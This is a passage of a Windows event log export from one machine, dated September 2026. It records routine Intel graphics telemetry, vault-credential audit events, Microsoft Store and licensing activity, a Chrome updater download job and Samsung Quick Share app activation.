08:30:13.350\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.367\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:13.369\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:13.375\t2000\t\"Process Name: C:\\WINDOWS\\system32\\backgroundTaskHost.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.375\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.448\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.459\t2006\t\"request: Microsoft.WindowsStore CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (1995)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.460\t2006\t\"result: Microsoft.WindowsStore, CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US, blocked = false\nError: The operation completed successfully.\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::::operator ()\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (2026)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.490\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.641\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.781\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.069\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.217\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.359\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.502\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.649\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.794\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.936\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.079\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.228\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.481\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.624\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.769\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.912\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.053\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.197\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.346\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.593\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.740\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.914\t3\t\"The BITS service created a new job.\nTransfer job: Chrome Component Updater\nJob ID: {df57cb3c-61e4-42c9-af52-ac0b58945dbd}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\nProcess ID: 14724\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:16.918\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:16.990\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.135\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.203\t59\tBITS started the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/efniojlnjndmcbiieegkicadnoecjjef/ae6b89eb3be749b5186b193ff53cabf3cbe70afebade5d567ce2cc60993edde1 URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:17.257\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFE00000820000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:17.291\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.404\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFE00000820000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:17.432\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFE00000720000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:17.436\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.576\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.721\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.840\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:30:17.860\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.012\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.264\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.433\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.575\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.575\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.578\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.578\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.580\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.726\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.872\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.014\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.161\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.302\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.449\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.614\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.782\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.951\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.116\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.341\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.507\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.768\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.948\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.208\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.367\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.539\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.766\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.943\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.125\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.421\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.620\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.109\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.269\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.434\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.541\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:23.543\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:23.609\t211\tAdded process 10436 to Desktop AppX container 245cdb95-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:23.611\t201\tCreated process 10436 for application SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy!App in package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:23.698\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.849\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.032\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.182\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.340\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.532\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.702\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.976\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.149\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.285\t217\tDestroyed Desktop AppX container {245CDB95-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:25.285\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8011\t0x21f83176b80: 13668: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8011\t0x21f8312ac20: 13728: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8011\t0x21f8312ac20: 13728: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8012\t0x21f83176b80: 13668: Key:Valid Change: Key:Invalid => 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8012\t0x21f8312ac20: 13728: Lease:Valid Change: 